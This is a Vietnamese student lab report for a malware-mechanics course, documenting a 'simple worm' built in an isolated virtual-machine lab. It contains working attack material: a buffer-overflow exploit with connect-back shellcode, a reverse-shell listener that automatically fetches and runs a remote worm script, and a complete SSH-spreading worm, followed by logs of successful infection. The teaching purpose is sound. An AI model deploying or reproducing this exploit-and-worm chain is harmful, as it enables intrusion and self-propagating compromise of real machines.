BÁO CÁO THỰC HÀNH

Môn học: Cơ chế hoạt động của mã độc

Lab 3: Simple Worm

GVHD: Trương Thị Hoàng Hảo

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT230.P21.ANTT.2

STT	Họ và tên	MSSV	Email
1	Mai Xuân Huy	22520553	22520553@gm.uit.edu.vn
2	Đào Xuân Vinh	22521666	22521666@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:[1]

STT	Công việc	Kết quả tự đánh giá
1	Yêu cầu 2	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

[1] Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

Link youtube: Simple Worm
Soucre code: GitHub

I. Môi trường

- Gồm 3 máy
  - Attacker (Client)
    - IP: 192.168.42.143
  - Server
    - IP: 192.168.42.144
  - Victim (Client1)
    - IP: 192.168.42.128
- Mô hình: Server và Victim thuộc cùng mạng nội bộ, đã cấu hình ssh connection (Victim lưu pub key của Server). Attacker ngoài mạng.

II. Kịch bản

- Attacker khai thác remote buffer overflow khiến Server tạo reverse shell đến port 4444 của Attacker, sau đó chèn worm để quét mạng nội bộ của server, sau đó lây nhiễm worm đến máy Victim, worm trong máy Victim tiếp tục thực hiện quét mạng và lây nhiễm, khiến các máy bị nhiễm tự động thực thi ./vulserver 5000

III. Luồng hoạt động

1. Server chạy ./vulserver 5000
2. Attacker chạy file listener.py port 4444 để nhận reverse shell và auto tải worm, thực thi worm sau khi nhận tín hiệu reverse shell từ server
3. Attacker chạy remoteexploit <ip-server> 5000
4. Tạo thành công reverse shell, truy cập được shell của server
5. Worm được tải xuống server và chạy
6. Worm quét mạng của server tìm kiếm open host để gửi ./vulserver và worm
7. Worm tìm thấy Victim, lây nhiễm, cấp quyền file ./vulserver và worm.sh
8. Victim bị lây nhiễm, tự động thực thi ./vulserver và worm.sh, tiếp tục tìm các open host của Victim
9. Attacker chạy remoteexploit2 <ip-victim> 5000, đồng thời chạy listener.py port 4445
10. Khai thác thành công Victim, truy cập được shell thông qua port 4445

IV. Demo

1. Code chính: remoteexploit.c, remoteexploit2.c, listener.py, worm.sh

- Remoteexploit.c được cấu hình với thông tin: ip 192.168.42.143 port 4444
- Remoteexploit2.c được cấu hình với thông tin: ip 192.168.42.143 port 4445
- Listener.py tạo kết nối giống khi chạy netcat để nghe port tự nhập. Khi nhận được tín hiệu của reverse shell, nó tạo kết nối và thực thi lệnh tải worm.sh về /tmp/, cấp quyền và thực thi worm.sh. Ngoài ra nó vẫn nhận lệnh được nhập từ attacker đến shell của máy nạn nhân như netcat. Khi nhận tín hiệu từ attacker nó cũng sẽ trả về output của shell, giúp theo dõi quá trình lây nhiễm
- Worm.sh thực hiện quét dải mạng từ 1 – 256, cho sẵn mảng Username=(ubuntu, server, victim, client) để thử đăng nhập ssh vào các IP up. Khi ssh thành công, thực

hiện lệnh cop file vulserver và worm từ máy đã bị lây nhiễm sang /tmp/ của máy victim vừa được phát hiện, sau đó cấp quyền và thực thi 2 file này trên các tiến trình khác nhau để giữ kết nối.

```
28
29  int main(int argc, char *argv[]) {
30    char buffer[BUF_SIZE];
31    int s, i, size;
32    struct sockaddr_in remote;
33    struct hostent *host;
34
35    if(argc != 3) {
36      printf("Usage: %s target-ip port \n", argv[0]);
37      return -1;
38    }
39    // filling buffer with NOPs
40    memset(buffer, 0x90, BUF_SIZE);
41
42    //Modify the connectback ip address and port. In this case, the shellcode connects to 192.168.42.143 on port 17*256+92=4444
43    shellcode[33] = 192;
44    shellcode[34] = 168;
45    shellcode[35] = 42;
46    shellcode[36] = 143;
47
48    shellcode[39] = 17;
49    shellcode[40] = 92;
```

Figure 1. remoteexploit.c

```
int main(int argc, char *argv[]) {
  char buffer[BUF_SIZE];
  int s, i, size;
  struct sockaddr_in remote;
  struct hostent *host;

  if(argc != 3) {
    printf("Usage: %s target-ip port \n", argv[0]);
    return -1;
  }
  // filling buffer with NOPs
  memset(buffer, 0x90, BUF_SIZE);

  //Modify the connectback ip address and port. In this case, the shellcode connect
  shellcode[33] = 192;
  shellcode[34] = 168;
  shellcode[35] = 42;
  shellcode[36] = 143;

  shellcode[39] = 17;
  shellcode[40] = 93;
  //copying shellcode into buffer
```

Figure 2. remoteexploit2.c

```python
import socket
import time
import subprocess

# Port input
port = int(input("Port: "))

# Reverse shell command
command = (
    "wget https://raw.githubusercontent.com/SPRINGPEACHVINH/NT230.P21.ANTT/refs/heads/main/Simpleworm/worm.sh"
    "-O /tmp/worm.sh; sleep 3; chmod +x /tmp/worm.sh; /tmp/worm.sh\n"
)

print("[+] Listening on port {}...".format(port))

# Create socket server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind(("0.0.0.0", port))
    server_socket.listen(1)

    conn, addr = server_socket.accept()
    print("[+] Get connection from {}:{}".format(addr[0], addr[1]))
    with conn:
        print("[+] Send commands to reverse shell...")
        conn.sendall(command.encode())

        print("[+] Switch to manual interactive mode. Press Ctrl C to exit.")
        try:
            while True:
                user_input = input("$ ")
                if user_input.strip() == "":
                    continue
                conn.sendall((user_input + "\n").encode())

                conn.settimeout(0.5)
                response = b""
                try:
                    while True:
                        data = conn.recv(4096)
                        if not data:
                            break
                        response += data
                except socket.timeout:
                    pass

                print(response.decode(errors="ignore"))
        except KeyboardInterrupt:
            print("\n[!] Exited.")
```

Figure 3. listener.py

```bash
#!/bin/bash

NETWORK_PREFIX="192.168.42"
# VULSERVER_URL="https://raw.githubusercontent.com/SPRINGPEACHVINH/NT230.P21.ANTT/refs/heads/main/Simpleworm/vulserver"
# WORM_URL="https://raw.githubusercontent.com/SPRINGPEACHVINH/NT230.P21.ANTT/refs/heads/main/Simpleworm/worm.sh"
PORT_BASE=4445
USERNAMES=("ubuntu" "server" "victim" "client")
ME=$(hostname -I | awk '{print $1}')
COUNT=0

echo "[*] Starting worm from $ME"

for i in $(seq 1 254); do
    TARGET="$NETWORK_PREFIX.$i"

    if [ "$TARGET" == "$ME" ]; then
        continue
    fi

    # echo "[*] Checking $TARGET..."
    ping -c 1 -W 1 $TARGET &> /dev/null
    if [ $? -eq 0 ]; then
        echo "[+] $TARGET is up!"

        for USER in "${USERNAMES[@]}"; do
            echo "[*] Trying user $USER@$TARGET..."
            ssh -o BatchMode=yes -o ConnectTimeout=3 $USER@$TARGET "echo 1" 2>/dev/null

            if [ $? -eq 0 ]; then
                echo "[+] Found working user: $USER"

                # Copy files
                scp /home/server/vulserver $USER@$TARGET:/tmp/vulserver
                scp /tmp/worm.sh $USER@$TARGET:/tmp/worm.sh

                PORT=$((PORT_BASE + COUNT))
                echo "[*] Assigning reverse shell port: $PORT"

                # Execute payloads
                ssh $USER@$TARGET "chmod +x /tmp/vulserver /tmp/worm.sh;
                                   nohup /tmp/vulserver 5000 >/dev/null 2>&1 &
                                   sleep 1;
                                   nohup bash /tmp/worm.sh >/dev/null 2>&1 &" &

                COUNT=$((COUNT + 1))
                break
            fi
        done
    fi
done

```

Figure 4. worm.sh

2. Hình ảnh chạy

- Cấu hình ssh connection cho server và victim

```
Your identification has been saved in /home/server/.ssh/id_rsa.
Your public key has been saved in /home/server/.ssh/id_rsa.pub.
The key fingerprint is:
d2:45:ce:b9:79:5c:57:6f:f0:88:b7:a9:e6:ec:86:e5 server@server
The key's randomart image is:
+--[ RSA 2048]----+
¦          .   . .¦
¦         + . . +o¦
¦          = . + =¦
¦       . . + o = ¦
¦      . S o o o  ¦
¦       .   ...   ¦
¦           +o    ¦
¦          .+E    ¦
¦           o+    ¦
+-----------------+
server@server:~$ cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9PFGJe9lhUD8/o8Q1x7F8Gx911MC5fRVTJqo76BZlC4TWnkrrz8EL5sO3BCDF
pMDQZteO3YTz1+vES07flyywY1N9UIXpbE0rKi1iGmxPbjnCI6rND2f4xafOn6Q9wyaGQP9Y8QLhbTenZ0jduVBkZ3eOWMWAtsmw
kfprvx7QW532XZ2e0mbLbOXSWjCluvR8ZFtCmon+zKPvdzjIAXwnqISrI17nblkAk+mav+xHTZd/r+AsIzz6JEdRg/aO5Ou4l0DF
1Pk2+gh/wLzY+GhMljOQwcAWPBNZkhLhp9F8MIvCoX6DKMVPGcalLiim8c+FdqRqY+cnb9zg7eei+x7p server@server
server@server:~$ ssh-copy-id victim@192.168.42.128
The authenticity of host '192.168.42.128 (192.168.42.128)' can't be established.
ECDSA key fingerprint is 4f:ed:40:ad:90:64:67:5f:56:27:3f:18:5b:35:82:27.
Are you sure you want to continue connecting (yes/no)? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are alr
eady installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to inst
all the new keys
victim@192.168.42.128's password:

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'victim@192.168.42.128'"
and check to make sure that only the key(s) you wanted were added.

server@server:~$ _
```

```
victim@victim:~$ cd .ssh/
victim@victim:~/.ssh$ ls -a
.  ..  authorized_keys
victim@victim:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9PFGJe9lhUD8/o8Q1x7F8Gx911MC5fRVTJqo76BZlC4TWnkrrz8EL5sO3BCDF
pMDQZteO3YTz1+vES07flyywY1N9UIXpbE0rKi1iGmxPbjnCI6rND2f4xafOn6Q9wyaGQP9Y8QLhbTenZ0jduVBkZ3eOWMWAtsmw
kfprvx7QW532XZ2e0mbLbOXSWjCluvR8ZFtCmon+zKPvdzjIAXwnqISrI17nblkAk+mav+xHTZd/r+AsIzz6JEdRg/aO5Ou4l0DF
1Pk2+gh/wLzY+GhMljOQwcAWPBNZkhLhp9F8MIvCoX6DKMVPGcalLiim8c+FdqRqY+cnb9zg7eei+x7p server@server
victim@victim:~/.ssh$ _
```

----Demo worm

- Server ./vulserver 5000

```
server@server:~$ ./vulserver 5000
_
```

- Attacker terminal 2: listener.py port 4444

```
client@client:~$ python3 listener.py
Port: 4444
[+] Listening on port 4444...
_
```

- Sau khi Attacker gửi exploit đến server, listener.py 4444 đã nhận được reverse shell và gửi command tải worm, thực thi worm

```
client@client:~$ python3 listener.py
Port: 4444
[+] Listening on port 4444...
[+] Get connection from 192.168.42.144:49754
[+] Send commands to reverse shell...
[+] Switch to manual interactive mode. Press Ctrl C to exit.
$
```

- Thư mục /tmp/ của server trước và sau khi exploit

```
server@server:~$ ls /tmp/
VMwareDnD  vmware-root  vmware-root_1321-4257003925
server@server:~$ ls /tmp/
VMwareDnD  vmware-root  vmware-root_1321-4257003925  worm.sh
server@server:~$
```

- Quá trình tải worm và thực thi của worm trên server

```
client@client:~$ python3 listener.py
Port: 4444
[+] Listening on port 4444...
[+] Get connection from 192.168.42.144:49754
[+] Send commands to reverse shell...
[+] Switch to manual interactive mode. Press Ctrl C to exit.
$ ls
--2025-04-15 19:50:33--  https://raw.githubusercontent.com/SPRINGPEACHVINH/NT230.P21.ANTT/refs/heads
/main/Simpleworm/worm.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133,
 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connecte
d.
HTTP request sent, awaiting response... 200 OK
Length: 1625 (1.6K) [text/plain]
Saving to: '/tmp/worm.sh'

     0K .                                                     100% 11.7M=0s

2025-04-15 19:50:33 (11.7 MB/s) - '/tmp/worm.sh' saved [1625/1625]

[*] Starting worm from 192.168.42.144
[+] 192.168.42.1 is up!
[*] Trying user ubuntu@192.168.42.1...
[*] Trying user server@192.168.42.1...
[*] Trying user victim@192.168.42.1...
[*] Trying user client@192.168.42.1...
[+] 192.168.42.2 is up!
[*] Trying user ubuntu@192.168.42.2...
[*] Trying user server@192.168.42.2...
[*] Trying user victim@192.168.42.2...
[*] Trying user client@192.168.42.2...

$
```

- Tìm thấy và kết nối được Victim

```
$ ^[[A
[+] 192.168.42.128 is up!
[*] Trying user ubuntu@192.168.42.128...
[*] Trying user server@192.168.42.128...
[*] Trying user victim@192.168.42.128...
1
[+] Found working user: victim
[*] Assigning reverse shell port: 4445
[+] 192.168.42.143 is up!
[*] Trying user ubuntu@192.168.42.143...
[*] Trying user server@192.168.42.143...
[*] Trying user victim@192.168.42.143...
[*] Trying user client@192.168.42.143...

$
```

- Thư mục /tmp/ của victim trước và sau khi bị lây nhiễm

```
victim@victim:~$ ls /tmp/
victim@victim:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qle
n 1000
    link/ether 00:0c:29:1d:07:e7 brd ff:ff:ff:ff:ff:ff
    inet 192.168.42.128/24 brd 192.168.42.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe1d:7e7/64 scope link
       valid_lft forever preferred_lft forever
victim@victim:~$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9PFGJe9lhUD8/o8Q1x7F8Gx911MC5fRVTJqo76BZ1C4TWnkrrz8EL5sO3BCDF
pMDQZteO3YTz1+vES07flyywY1N9UIXpbE0rKi1iGmxPbjnCI6rND2f4xafOn6Q9wyaGQP9Y8QLhbTenZ0jduVBkZ3eOWMWAtsmw
kfprvx7QW533XZ2e0mbLbOXSWjCluvR8ZFtCmon+zKPvdzjIAXwnqISrI17nblkAk+mav+xHTZd/r+AsIzz6JEdRg/aO5Ou410DF
1Pk2+gh/wLzY+GhMljOQwcAWPBNZkhLhp9F8MIvCoX6DKMVPGcalLiim8c+FdqRqY+cnb9zg7eei+x7p server@server
victim@victim:~$ ls /tmp/
vulserver  worm.sh
victim@victim:~$
```

- Telnet thành công tới Victim

```
client@client:~$ ./remoteexploit 192.168.42.144 5000
client@client:~$ telnet 192.168.42.128 5000
Trying 192.168.42.128...
Connected to 192.168.42.128.
Escape character is '^]'.
My name is: emay
Hello :emay, welcome to our siteConnection closed by foreign host.
client@client:~$ _
```

- Attacker chạy listener.py port 4445 để nhận reverse shell của Victim

```
client@client:~$ python3 listener.py
Port: 4445
[+] Listening on port 4445...
```

- Attacker gửi remoteexploit2 đến Victim

```
client@client:~$ ./remoteexploit2 192.168.42.128 5000
client@client:~$
```

- Nhận được reverse shell của Victim, trong reverse shell cũng cho thấy worm được tải và auto thực thi để lây nhiễm tiếp

```
client@client:~$ python3 listener.py
Port: 4445
[+] Listening on port 4445...
[+] Get connection from 192.168.42.128:46002
[+] Send commands to reverse shell...
[+] Switch to manual interactive mode. Press Ctrl C to exit.
$ ls
--2025-04-15 18:30:24--  https://raw.githubusercontent.com/SPRINGPEACHVINH/NT230.P21.ANTT/refs/heads
/main/Simpleworm/worm.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133,
 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connecte
d.
HTTP request sent, awaiting response... 200 OK
Length: 1625 (1.6K) [text/plain]
Saving to: '/tmp/worm.sh'

     0K .                                                     100% 18.1M=0s

2025-04-15 18:30:25 (18.1 MB/s) - '/tmp/worm.sh' saved [1625/1625]

[*] Starting worm from 192.168.42.128
[+] 192.168.42.1 is up!
[*] Trying user ubuntu@192.168.42.1...
[*] Trying user server@192.168.42.1...
[*] Trying user victim@192.168.42.1...
[*] Trying user client@192.168.42.1...
[+] 192.168.42.2 is up!
[*] Trying user ubuntu@192.168.42.2...
[*] Trying user server@192.168.42.2...
[*] Trying user victim@192.168.42.2...
[*] Trying user client@192.168.42.2...

$ _
```

HẾT